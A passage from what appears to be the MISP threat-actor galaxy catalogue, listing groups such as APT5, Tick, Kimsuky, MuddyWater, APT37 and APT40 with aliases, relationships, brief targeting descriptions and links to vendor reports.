https://www.riskiq.com/blog/labs/cobalt-strike/
https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/
https://unit42.paloaltonetworks.com/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/
https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain
https://www.computerweekly.com/news/252446153/Three-Carbanak-cyber-heist-gang-members-arrested
https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf
https://attack.mitre.org/groups/G0080/
http://www.secureworks.com/research/threat-profiles/gold-kingswood
https://unit42.paloaltonetworks.com/atoms/mulelibra/

TA459

The tag is: *misp-galaxy:threat-actor="TA459"*

TA459 is also known as:

- G0062

View relationships graph

TA459 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="TA459 - G0062" with estimative-language:likelihood-probability="likely"

Table 6845. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts
https://attack.mitre.org/groups/G0062/

Cyber Berkut

The tag is: *misp-galaxy:threat-actor="Cyber Berkut"*

Table 6846. Table References

Links
https://www.threatconnect.com/blog/russia-hacks-bellingcat-mh17-investigation/.V-wnrubaeEU.twitter[https://www.threatconnect.com/blog/russia-hacks-bellingcat-mh17-investigation/.V-wnrubaeEU.twitter]

Tonto Team

The tag is: *misp-galaxy:threat-actor="Tonto Team"*

Tonto Team is also known as:

- CactusPete
- KARMA PANDA
- BRONZE HUNTLEY
- COPPER
- Red Beifang
- G0131
- PLA Unit 65017

Table 6847. Table References

Links
https://arstechnica.com/information-technology/2017/04/researchers-claim-china-trying-to-hack-south-korea-missile-defense-efforts/
https://docs.huihoo.com/rsaconference/usa-2014/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries-final.pdf
https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/
https://www.wsj.com/articles/chinas-secret-weapon-in-south-korea-missile-fight-hackers-1492766403
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

Danti

The tag is: *misp-galaxy:threat-actor="Danti"*

Table 6848. Table References

Links
https://securelist.com/analysis/publications/74828/cve-2015-2545-overview-of-current-threats/

APT5

We have observed one APT group, which we call APT5, particularly focused on telecommunications and technology companies. More than half of the organizations we have observed being targeted or breached by APT5 operate in these sectors. Several times, APT5 has targeted organizations and personnel based in Southeast Asia. APT5 has been active since at least 2007. It appears to be a large threat group that consists of several subgroups, often with distinct tactics and infrastructure. APT5 has targeted or breached organizations across multiple industries, but its focus appears to be on telecommunications and technology companies, especially information about satellite communications. APT5 targeted the network of an electronics firm that sells products for both industrial and military applications. The group subsequently stole communications related to the firm's business relationship with a national military, including inventories and memoranda about specific products they provided. In one case in late 2014, APT5 breached the network of an international telecommunications company. The group used malware with keylogging capabilities to monitor the computer of an executive who manages the company's relationships with other telecommunications companies

The tag is: *misp-galaxy:threat-actor="APT5"*

APT5 is also known as:

- KEYHOLE PANDA
- MANGANESE
- BRONZE FLEETWOOD
- TEMP.Bottle

Table 6849. Table References

Links
https://www.fireeye.com/current-threats/apt-groups.html
https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-southeast-asia-threat-landscape.pdf
https://www.secureworks.com/research/threat-profiles/bronze-fleetwood
https://www.mandiant.com/resources/insights/apt-groups
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi

Tick

Tick is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group appears to have close ties to the Chinese National University of Defense and Technology, which is possibly linked to the PLA. This threat actor targets organizations in the critical infrastructure, heavy industry, manufacturing, and international relations sectors for espionage purposes. The attacks appear to be centered on political, media, and engineering sectors. STALKER PANDA has been observed conducting targeted attacks against Japan, Taiwan, Hong Kong, and the United States.

The tag is: *misp-galaxy:threat-actor="Tick"*

Tick is also known as:

- Nian
- BRONZE BUTLER
- REDBALDKNIGHT
- STALKER PANDA
- G0060
- Stalker Taurus
- PLA Unit 61419

View relationships graph

Tick has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="BRONZE BUTLER - G0060" with estimative-language:likelihood-probability="likely"

Table 6850. Table References

Links
https://wikileaks.org/vault7/document/2015-08-20150814-256-CSIR-15005-Stalker-Panda/2015-08-20150814-256-CSIR-15005-Stalker-Panda.pdf
https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan
https://www.secureworks.jp/resources/rp-bronze-butler
https://researchcenter.paloaltonetworks.com/2017/07/unit42-tick-group-continues-attacks/
http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html
https://www.cfr.org/interactive/cyber-operations/bronze-butler
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses
https://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/
https://attack.mitre.org/groups/G0060/
https://www.secureworks.com/research/threat-profiles/bronze-butler
https://unit42.paloaltonetworks.com/atoms/stalkertaurus/
https://twitter.com/iiyonite/status/1384431491485155331
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

APT26

The tag is: *misp-galaxy:threat-actor="APT26"*

APT26 is also known as:

- Hippo Team
- JerseyMikes
- TURBINE PANDA
- BRONZE EXPRESS
- TECHNETIUM

View relationships graph

APT26 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Turla - G0010" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Turla" with estimative-language:likelihood-probability="likely"

Table 6851. Table References

Links
https://www.secureworks.com/research/threat-profiles/bronze-express
https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf
https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf

SABRE PANDA

The tag is: *misp-galaxy:threat-actor="SABRE PANDA"*

Table 6852. Table References

Links
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf

BIG PANDA

The tag is: *misp-galaxy:threat-actor="BIG PANDA"*

Table 6853. Table References

Links
http://www.darkreading.com/attacks-and-breaches/crowdstrike-falcon-traces-attacks-back-to-hackers/d/d-id/1110402?

POISONUS PANDA

The tag is: *misp-galaxy:threat-actor="POISONUS PANDA"*

Table 6854. Table References

Links
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492182276.pdf

Ghost Jackal

The tag is: *misp-galaxy:threat-actor="Ghost Jackal"*

Table 6855. Table References

Links
https://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf

TEMP.Hermit

The tag is: *misp-galaxy:threat-actor="TEMP.Hermit"*

Table 6856. Table References

Links
https://www.fireeye.com/blog/threat-research/2018/02/attacks-leveraging-adobe-zero-day.html

Mofang

The tag is: *misp-galaxy:threat-actor="Mofang"*

Mofang is also known as:

- Superman
- BRONZE WALKER

Table 6857. Table References

Links
https://blog.fox-it.com/2016/06/15/mofang-a-politically-motivated-information-stealing-adversary/
https://www.cfr.org/interactive/cyber-operations/mofang
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf
https://www.secureworks.com/research/threat-profiles/bronze-walker

CopyKittens

The tag is: *misp-galaxy:threat-actor="CopyKittens"*

CopyKittens is also known as:

- Slayer Kitten
- G0052

View relationships graph

CopyKittens has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="CopyKittens - G0052" with estimative-language:likelihood-probability="likely"

Table 6858. Table References

Links
https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf
https://www.domaintools.com/resources/blog/case-study-hunting-campaign-indicators-on-privacy-protected-attack-infrastr
http://www.clearskysec.com/copykitten-jpost/
http://www.clearskysec.com/tulip/
https://www.cfr.org/interactive/cyber-operations/copykittens
https://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf
https://attack.mitre.org/groups/G0052/

EvilPost

The tag is: *misp-galaxy:threat-actor="EvilPost"*

Table 6859. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html

SVCMONDR

The referenced link links this group to Temper Panda

The tag is: *misp-galaxy:threat-actor="SVCMONDR"*

Table 6860. Table References

Links

https://securelist.com/analysis/publications/74828/cve-2015-2545-overview-of-current-threats/

TEST PANDA

The tag is: *misp-galaxy:threat-actor="TEST PANDA"*

Table 6861. Table References

Links
http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem

Madi

Kaspersky Lab and Seculert worked together to sinkhole the Madi Command & Control (C&C) servers to monitor the campaign. Kaspersky Lab and Seculert identified more than 800 victims located in Iran, Israel and select countries across the globe connecting to the C&Cs over the past eight months. Statistics from the sinkhole revealed that the victims were primarily business people working on Iranian and Israeli critical infrastructure projects, Israeli financial institutions, Middle Eastern engineering students, and various government agencies communicating in the Middle East. Common applications and websites that were spied on include accounts on Gmail, Hotmail, Yahoo! Mail, ICQ, Skype, Google+, and Facebook. Surveillance is also performed over integrated ERP/CRM systems, business contracts, and financial management systems.

The tag is: *misp-galaxy:threat-actor="Madi"*

Table 6862. Table References

Links
https://securelist.com/the-madi-campaign-part-i-5/33693/
https://securelist.com/the-madi-campaign-part-ii-53/33701/
https://www.cfr.org/interactive/cyber-operations/madi
https://www.kaspersky.com/about/press-releases/2012_kaspersky-lab-and-seculert-announce—madi—a-newly-discovered-cyber-espionage-campaign-in-the-middle-east
https://threatpost.com/new-and-improved-madi-spyware-campaign-continues-072512/76849/
https://web.archive.org/web/20120718173322/https://www.symantec.com/connect/blogs/madi-attacks-series-social-engineering-campaigns

ELECTRIC PANDA

The tag is: *misp-galaxy:threat-actor="ELECTRIC PANDA"*

Table 6863. Table References

Links
http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem

APT4

The tag is: *misp-galaxy:threat-actor="APT4"*

APT4 is also known as:

- PLA Navy
- MAVERICK PANDA
- BRONZE EDISON
- Sykipot

Table 6864. Table References

Links
https://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments
http://blog.trendmicro.com/trendlabs-security-intelligence/sykipot-now-targeting-us-civil-aviation-sector-information/
https://www.sans.org/reading-room/whitepapers/malicious/detailed-analysis-sykipot-smartcard-proxy-variant-33919
https://www.cfr.org/interactive/cyber-operations/sykipot
https://www.secureworks.com/research/threat-profiles/bronze-edison
https://www.mandiant.com/resources/insights/apt-groups

Kimsuky

This threat actor targets South Korean think tanks, industry, nuclear power operators, and the Ministry of Unification for espionage purposes.

The tag is: *misp-galaxy:threat-actor="Kimsuky"*

Kimsuky is also known as:

- Velvet Chollima
- Black Banshee
- Thallium
- Operation Stolen Pencil
- G0086

Table 6865. Table References

Links
https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/
https://www.cfr.org/interactive/cyber-operations/kimsuky

https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-2.html
https://youtu.be/hAsKp43AZmM?t=1027
https://www.bloomberglaw.com/document/public/subdoc/X67FPNDOUBV9VOPS35A4864BFIU?imagename=1
https://www.netscout.com/blog/asert/stolen-pencil-campaign-targets-academia
https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/
https://attack.mitre.org/groups/G0086/
https://us-cert.cisa.gov/ncas/alerts/aa20-301a
https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite

Snake Wine

While investigating some of the smaller name servers that APT28/Sofacy routinely use to host their infrastructure, Cylance discovered another prolonged campaign that appeared to exclusively target Japanese companies and individuals that began around August 2016. The later registration style was eerily close to previously registered APT28 domains, however, the malware used in the attacks did not seem to line up at all. During the course of our investigation, JPCERT published this analysis of one of the group's backdoors. Cylance tracks this threat group internally as 'Snake Wine'. The Snake Wine group has proven to be highly adaptable and has continued to adopt new tactics in order to establish footholds inside victim environments. The exclusive interest in Japanese government, education, and commerce will likely continue into the future as the group is just starting to build and utilize their existing current attack infrastructure.

The tag is: *misp-galaxy:threat-actor="Snake Wine"*

Table 6866. Table References

Links
https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html
https://threatvector.cylance.com/en_us/home/the-deception-project-a-new-japanese-centric-threat.html
https://www.jpcert.or.jp/magazine/acreport-ChChes.html

Careto

This threat actor targets governments, diplomatic missions, private companies in the energy sector, and academics for espionage purposes. The Mask is an advanced threat actor that has been involved in cyber-espionage operations since at least 2007. The name "Mask" comes from the Spanish slang word "Careto" ("Ugly Face" or "Mask") which the authors included in some of the malware modules. More than 380 unique victims in 31 countries have been observed to date.What makes "The Mask" special is the complexity of the toolset used by the attackers. This includes an extremely sophisticated malware, a rootkit, a bootkit, 32-and 64-bit Windows versions, Mac OS X and Linux versions and possibly versions for Android and iPad/iPhone (Apple iOS).

The tag is: *misp-galaxy:threat-actor="Careto"*

Careto is also known as:

- The Mask
- Mask
- Ugly Face

Table 6867. Table References

Links
https://securelist.com/the-caretomask-apt-frequently-asked-questions/58254/
https://www.cfr.org/interactive/cyber-operations/careto
https://d2538mqrb7brka.cloudfront.net/wp-content/uploads/sites/43/2018/03/20133638/unveilingthemask_v1.0.pdf

GIBBERISH PANDA

The tag is: *misp-galaxy:threat-actor="GIBBERISH PANDA"*

Table 6868. Table References

Links
http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem

OnionDog

This threat actor targets the South Korean government, transportation, and energy sectors.

The tag is: *misp-galaxy:threat-actor="OnionDog"*

Table 6869. Table References

Links
http://news.softpedia.com/news/korean-energy-and-transportation-targets-attacked-by-oniondog-apt-501534.shtml
https://www.cfr.org/interactive/cyber-operations/onion-dog

Clever Kitten

The tag is: *misp-galaxy:threat-actor="Clever Kitten"*

Clever Kitten is also known as:

- Group 41

[View relationships graph]

Clever Kitten has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"

Table 6870. Table References

Links
http://www.crowdstrike.com/blog/whois-clever-kitten/

ANDROMEDA SPIDER

The tag is: *misp-galaxy:threat-actor="ANDROMEDA SPIDER"*

Table 6871. Table References

Links
https://docs.huihoo.com/rsaconference/usa-2014/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries-final.pdf

Cyber Caliphate Army

The tag is: *misp-galaxy:threat-actor="Cyber Caliphate Army"*

Cyber Caliphate Army is also known as:

- Islamic State Hacking Division

- CCA
- United Cyber Caliphate
- UUC
- CyberCaliphate

Table 6872. Table References

Links
https://en.wikipedia.org/wiki/Islamic_State_Hacking_Division
https://ent.siteintelgroup.com/index.php?option=com_customproperties&view=search&task=tag&bind_to_category=content:37&tagId=697

MAGNETIC SPIDER

The tag is: *misp-galaxy:threat-actor="MAGNETIC SPIDER"*

Table 6873. Table References

Links
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf

SINGING SPIDER

The tag is: *misp-galaxy:threat-actor="SINGING SPIDER"*

Table 6874. Table References

Links
https://docs.huihoo.com/rsaconference/usa-2014/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries-final.pdf

Cyber fighters of Izz Ad-Din Al Qassam

The tag is: *misp-galaxy:threat-actor="Cyber fighters of Izz Ad-Din Al Qassam"*

Cyber fighters of Izz Ad-Din Al Qassam is also known as:

- Fraternal Jackal

Table 6875. Table References

Links
http://pastebin.com/u/QassamCyberFighters
http://ddanchev.blogspot.com.es/2012/09/dissecting-operation-ababil-osint.html

APT6

The FBI issued a rare bulletin admitting that a group named Advanced Persistent Threat 6 (APT6) hacked into US government computer systems as far back as 2011 and for years stole sensitive data. The FBI alert was issued in February and went largely unnoticed. Nearly a month later, security experts are now shining a bright light on the alert and the mysterious group behind the attack. “This is a rare alert and a little late, but one that is welcomed by all security vendors as it offers a chance to mitigate their customers and also collaborate further in what appears to be an ongoing FBI investigation,” said Deepen Desai, director of security research at the security firm Zscaler in an email to Threatpost. Details regarding the actual attack and what government systems were infected are scant. Government officials said they knew the initial attack occurred in 2011, but are unaware of who specifically is behind the attacks. “Given the nature of malware payload involved and the duration of this compromise being unnoticed – the scope of lateral movement inside the compromised network is very high possibly exposing all the critical systems,”Deepen said.

The tag is: *misp-galaxy:threat-actor="APT6"*

APT6 is also known as:

- 1.php Group

Table 6876. Table References

Links
https://threatpost.com/fbi-quietly-admits-to-multi-year-apt-attack-sensitive-data-stolen/117267/

AridViper

The tag is: *misp-galaxy:threat-actor="AridViper"*

AridViper is also known as:

- Desert Falcon
- Arid Viper
- APT-C-23

Table 6877. Table References

Links
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-arid-viper.pdf
http://securityaffairs.co/wordpress/33785/cyber-crime/arid-viper-israel-sex-video.html
https://securelist.com/blog/research/68817/the-desert-falcons-targeted-attacks/
https://blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/
https://securelist.com/blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/
https://www.proofpoint.com/us/threat-insight/post/Operation-Arid-Viper-Slithers-Back-Into-View

http://blog.talosintelligence.com/2017/06/palestine-delphi.html
https://www.threatconnect.com/blog/kasperagent-malware-campaign/
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/sexually-explicit-material-used-as-lures-in-cyber-attacks?linkId=12425812
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064309/The-Desert-Falcons-targeted-attacks.pdf

DEXTOROUS SPIDER

The tag is: *misp-galaxy:threat-actor="DEXTOROUS SPIDER"*

Table 6878. Table References

Links
https://docs.huihoo.com/rsaconference/usa-2014/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries-final.pdf

Unit 8200

The tag is: *misp-galaxy:threat-actor="Unit 8200"*

Unit 8200 is also known as:

- Duqu Group

Table 6879. Table References

Links
https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/
https://archive.org/details/Stuxnet
https://www.cfr.org/interactive/cyber-operations/duqu
https://www.cfr.org/interactive/cyber-operations/duqu-20

White Bear

As a part of our Kaspersky APT Intelligence Reporting subscription, customers received an update in mid-February 2017 on some interesting APT activity that we called WhiteBear. Much of the contents of that report are reproduced here. WhiteBear is a parallel project or second stage of the Skipper Turla cluster of activity documented in another private intelligence report “Skipper Turla – the White Atlas framework” from mid-2016. Like previous Turla activity, WhiteBear leverages compromised websites and hijacked satellite connections for command and control (C2) infrastructure. As a matter of fact, WhiteBear infrastructure has overlap with other Turla campaigns, like those deploying Kopiluwak, as documented in “KopiLuwak – A New JavaScript Payload from Turla” in December 2016. WhiteBear infected systems maintained a dropper (which was typically signed) as well as a complex malicious platform which was always preceded by WhiteAtlas module deployment attempts. However, despite the similarities to previous Turla campaigns, we believe that WhiteBear is a distinct project with a separate focus. We note that this observation of delineated target focus, tooling, and project context is an interesting one that also can be repeated across broadly labeled Turla and Sofacy activity. From February to September 2016, WhiteBear activity was narrowly focused on embassies and consular operations around the world. All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations. Continued WhiteBear activity later shifted to include defense-related organizations into June 2017. When compared to WhiteAtlas infections, WhiteBear deployments are relatively rare and represent a departure from the broader Skipper Turla target set. Additionally, a comparison of the WhiteAtlas framework to WhiteBear components indicates that the malware is the product of separate development efforts. WhiteBear infections appear to be preceded by a condensed spearphishing dropper, lack Firefox extension installer payloads, and contain several new components signed with a new code signing digital certificate, unlike WhiteAtlas incidents and modules.

The tag is: *misp-galaxy:threat-actor="White Bear"*

White Bear is also known as:

- Skipper Turla

Table 6880. Table References

Links
https://securelist.com/introducing-whitebear/81638/
https://www.cfr.org/interactive/cyber-operations/whitebear

PALE PANDA

The tag is: *misp-galaxy:threat-actor="PALE PANDA"*

Table 6881. Table References

Links
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf

Mana Team

The tag is: *misp-galaxy:threat-actor="Mana Team"*

Table 6882. Table References

Links
http://webcache.googleusercontent.com/search?q=cache:TWoHHzH9gU0J:en.hackdig.com/02/39538.htm

Sowbug

Sowbug has been conducting highly targeted cyber attacks against organizations in South America and Southeast Asia and appears to be heavily focused on foreign policy institutions and diplomatic targets. Sowbug has been seen mounting classic espionage attacks by stealing documents from the organizations it infiltrates.

The tag is: *misp-galaxy:threat-actor="Sowbug"*

Sowbug is also known as:

- G0054

View relationships graph

Sowbug has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Sowbug - G0054" with estimative-language:likelihood-probability="likely"

Table 6883. Table References

Links
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments
https://www.cfr.org/interactive/cyber-operations/sowbug
https://attack.mitre.org/groups/G0054/

MuddyWater

The MuddyWater attacks are primarily against Middle Eastern nations. However, we have also observed attacks against surrounding nations and beyond, including targets in India and the USA. MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “POWERSTATS”. Despite broad scrutiny and reports on MuddyWater attacks, the activity continues with only incremental changes to the tools and techniques.

The tag is: *misp-galaxy:threat-actor="MuddyWater"*

MuddyWater is also known as:

- TEMP.Zagros
- Static Kitten
- Seedworm
- MERCURY
- COBALT ULSTER
- G0069

- ATK51
- Boggy Serpens

View relationships graph

MuddyWater has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="MuddyWater - G0069" with estimative-language:likelihood-probability="likely"

Table 6884. Table References

Links
https://unit42.paloaltonetworks.com/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/
https://www.cfr.org/interactive/cyber-operations/muddywater
https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html
https://blog.trendmicro.com/trendlabs-security-intelligence/campaign-possibly-connected-muddywater-surfaces-middle-east-central-asia/
https://blog.trendmicro.com/trendlabs-security-intelligence/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor/
https://securelist.com/muddywater/88059/
https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group
https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf
https://www.clearskysec.com/muddywater-targets-kurdish-groups-turkish-orgs/
https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html
https://www.zdnet.com/article/new-leaks-of-iranian-cyber-espionage-operations-hit-telegram-and-the-dark-web/
https://attack.mitre.org/groups/G0069/
http://www.secureworks.com/research/threat-profiles/cobalt-ulster
https://unit42.paloaltonetworks.com/atoms/boggyserpens/

MoneyTaker

In less than two years, this group has conducted over 20 successful attacks on financial institutions and legal firms in the USA, UK and Russia. The group has primarily been targeting card processing systems, including the AWS CBR (Russian Interbank System) and purportedly SWIFT (US). Given the wide usage of STAR in LATAM, financial institutions in LATAM could have particular exposure to a potential interest from the MoneyTaker group.

The tag is: *misp-galaxy:threat-actor="MoneyTaker"*

Table 6885. Table References

Links
https://www.bleepingcomputer.com/news/security/moneytaker-hacker-group-steals-millions-from-us-and-russian-banks/
https://www.group-ib.com/blog/moneytaker

Dark Caracal

Lookout and Electronic Frontier Foundation (EFF) have discovered Dark Caracal, a persistent and prolific actor, who at the time of writing is believed to be administered out of a building belonging to the Lebanese General Security Directorate in Beirut. At present, we have knowledge of hundreds of gigabytes of exfiltrated data, in 21+ countries, across thousands of victims. Stolen data includes enterprise intellectual property and personally identifiable information.

The tag is: *misp-galaxy:threat-actor="Dark Caracal"*

Dark Caracal is also known as:

- G0070

Table 6886. Table References

Links
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf
https://research.checkpoint.com/2020/bandook-signed-delivered
https://attack.mitre.org/groups/G0070/

Nexus Zeta

Nexus Zeta is no stranger when it comes to implementing SOAP related exploits. The threat actor has already been observed in implementing two other known SOAP related exploits, CVE-2014–8361 and CVE-2017–17215 in his Satori botnet project. A third SOAP exploit, TR-069 bug has also been observed previously in IoT botnets. This makes EDB 38722 the fourth SOAP related exploit which is discovered in the wild by IoT botnets.

The tag is: *misp-galaxy:threat-actor="Nexus Zeta"*

Table 6887. Table References

Links
https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7

APT37

APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea. In 2017, APT37 expanded its targeting beyond the Korean peninsula to include Japan, Vietnam and the Middle East, and to a wider range of industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive and healthcare entities

The tag is: *misp-galaxy:threat-actor="APT37"*

APT37 is also known as:

- APT 37
- Group 123
- Group123
- InkySquid
- Operation Daybreak
- Operation Erebus
- Reaper Group
- Reaper
- Red Eyes
- Ricochet Chollima
- ScarCruft
- Venus 121
- ATK4
- G0067
- Moldy Pisces

View relationships graph

APT37 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT37 - G0067" with estimative-language:likelihood-probability="likely"
- linked-to: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"

Table 6888. Table References

Links
https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/
https://www.fireeye.com/blog/threat-research/2018/02/apt37-overlooked-north-korean-actor.html
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://twitter.com/mstoned7/status/966126706107953152

https://www.cfr.org/interactive/cyber-operations/apt-37
https://www.bleepingcomputer.com/news/security/report-ties-north-korean-attacks-to-new-malware-linked-by-word-macros/
https://unit42.paloaltonetworks.com/unit42-freemilk-highly-targeted-spear-phishing-campaign/
https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://attack.mitre.org/groups/G0067/
https://securelist.com/cve-2016-4171-adobe-flash-zero-day-used-in-targeted-attacks/75082/
https://securelist.com/operation-daybreak/75100/
https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/
https://threatpost.com/scarcruft-apt-group-used-latest-flash-zero-day-in-two-dozen-attacks/118642/
https://unit42.paloaltonetworks.com/atoms/moldypisces/

APT40

Leviathan is an espionage actor targeting organizations and high-value targets in defense and government. Active since at least 2014, this actor has long-standing interest in maritime industries, naval defense contractors, and associated research institutions in the United States and Western Europe.

The tag is: *misp-galaxy:threat-actor="APT40"*

APT40 is also known as:

- TEMP.Periscope
- TEMP.Jumper
- Leviathan
- BRONZE MOHAWK
- GADOLINIUM
- KRYPTONITE PANDA
- G0065
- ATK29
- TA423
- Red Ladon
- ITG09
- MUDCARP

View relationships graph

APT40 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Leviathan - G0065" with estimative-language:likelihood-probability="likely"

Table 6889. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www.cfr.org/interactive/cyber-operations/apt-40
https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html
https://www.recordedfuture.com/chinese-threat-actor-tempperiscope/
https://www.fireeye.com/blog/threat-research/2018/07/chinese-espionage-group-targets-cambodia-ahead-of-elections.html
https://attack.mitre.org/groups/G0065/
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://intrusiontruth.wordpress.com/2020/01/09/what-is-the-hainan-xiandun-technology-development-company
https://intrusiontruth.wordpress.com/2020/01/10/who-is-mr-gu
https://intrusiontruth.wordpress.com/2020/01/13/who-else-works-for-this-cover-company-network
https://intrusiontruth.wordpress.com/2020/01/14/who-is-mr-ding
https://intrusiontruth.wordpress.com/2020/01/15/hainan-xiandun-technology-company-is-apt40
https://www.secureworks.com/research/threat-profiles/bronze-mohawk
https://www.mycert.org.my/portal/advisory?id=MA-774.022020
https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign
https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/
https://www.justice.gov/opa/pr/four-chinese-nationals-working-ministry-state-security-charged-global-computer-intrusion
https://www.justice.gov/opa/press-release/file/1412916/download
https://www.justice.gov/opa/press-release/file/1412921/download
https://us-cert.cisa.gov/ncas/alerts/aa21-200a
https://us-cert.cisa.gov/ncas/alerts/aa21-200b
https://www.canada.ca/en/global-affairs/news/2021/07/statement-on-chinas-cyber-campaigns.html
https://www.ncsc.gov.uk/news/uk-allies-hold-chinese-state-responsible-for-pervasive-pattern-of-hacking
